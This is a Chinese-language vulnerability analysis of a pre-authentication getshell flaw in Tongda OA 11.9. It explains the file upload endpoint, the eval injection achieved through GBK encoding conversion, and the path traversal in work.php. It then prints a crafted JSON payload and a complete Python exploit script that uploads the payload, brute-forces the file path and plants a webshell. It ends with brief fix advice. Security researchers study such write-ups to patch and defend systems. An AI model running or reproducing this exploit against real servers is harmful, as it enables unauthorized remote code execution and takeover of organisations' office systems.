通达oa11.9前台getshell漏洞分析
字数 1156 2025-08-06 18:07:59
通达OA 11.9前台Getshell漏洞分析报告
漏洞概述
通达OA 11.9版本存在一个前台无需认证的Getshell漏洞,攻击者可以通过组合文件上传和代码执行漏洞,在未授权情况下获取服务器权限。
漏洞组件
- 文件上传点:
/mobile/api/api.ali.php - 代码执行点:
inc/package/business/AllVariableBusinessProcessing.php中的eval函数 - 触发点:
inc/package/work.php
环境准备
- 通达OA下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe
- 源码解密工具:SeayDzend.exe
漏洞分析
1. 文件上传漏洞
/mobile/api/api.ali.php无需登录即可上传文件,但限制了php等敏感文件类型的上传。
上传路径格式为:/myoa/attach/approve_center/[年月]/[随机字符串].json
- 年月格式:YYMM(如2203表示2022年3月)
- 随机字符串:如1130028766
2. 代码执行漏洞
AllVariableBusinessProcessing.php中的backDataAnalysis方法存在eval函数执行点:
static public function backDataAnalysis($BackData) {
$variableData = $BackData['dataAnalysis'];
$variableData = json_decode($variableData, true);
$variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
}
3. 漏洞触发链
- 通过
work.php的acceptData方法读取上传的json文件 acceptData调用backData方法backData调用backDataAnalysis方法- 最终执行eval函数
漏洞利用
1. 构造恶意JSON
需要构造特殊的JSON数据实现代码注入:
{
"modular": "AllVariable",
"evil": "base64编码的恶意代码",
"dataAnalysis": "{\"abc\":\"覾覾',eval(base64_decode($BackData[evil])));/*\"}"
}
2. 关键利用点
- 使用汉字"覾覾"实现GBK编码转义
- 通过iconv函数转换编码时产生转义符
- 最终形成可执行的PHP代码
3. 文件路径绕过
利用Windows文件系统特性:
>字符可替代?通配符- 构造路径如
../../../../../myoa/attach/approve_center/2203/>>>>>>.dotast
完整利用步骤
- 上传恶意JSON文件到
/mobile/api/api.ali.php - 通过
work.php触发文件读取和代码执行 - 使用Python脚本自动化利用:
import requests
import time
url = "http://target.com"
shell = "base64编码的webshell"
dir_path1 = time.strftime('%y%m',time.localtime(time.time()))
dir_path2 = 'dotast'
files = {"file":(dir_path2+".json",'{"modular":"AllVariable","dotast":"%s","dataAnalysis":"{\\"abc\\":\\"覾覾\',eval(base64_decode($BackData[dotast])));/*\\"}"}'%shell, "application/octet-stream")}
res1 = requests.post(url+"/mobile/api/api.ali.php",files=files)
for i in range(12,4,-1):
dir_path0 = '>'*i
source_code = requests.get(url+"/inc/package/work.php?id=../../../../../myoa/attach/approve_center/{dir_path1}/{dir_path0}.{dir_path2}".format(dir_path1=dir_path1,dir_path0=dir_path0,dir_path2=dir_path2))
if "OK" in source_code.text:
print(f"Shell地址: {url}/dotast.php")
exit()
修复建议
- 对
api.ali.php添加权限验证 - 修复
work.php中的路径穿越问题 - 避免在代码中使用eval函数
- 升级到最新版本OA系统
总结
该漏洞通过组合文件上传和代码执行漏洞,实现了前台Getshell。利用Windows文件系统特性和GBK编码转换特性,成功绕过了安全限制。虽然该漏洞在后续版本中已修复,但仍需警惕类似的设计缺陷。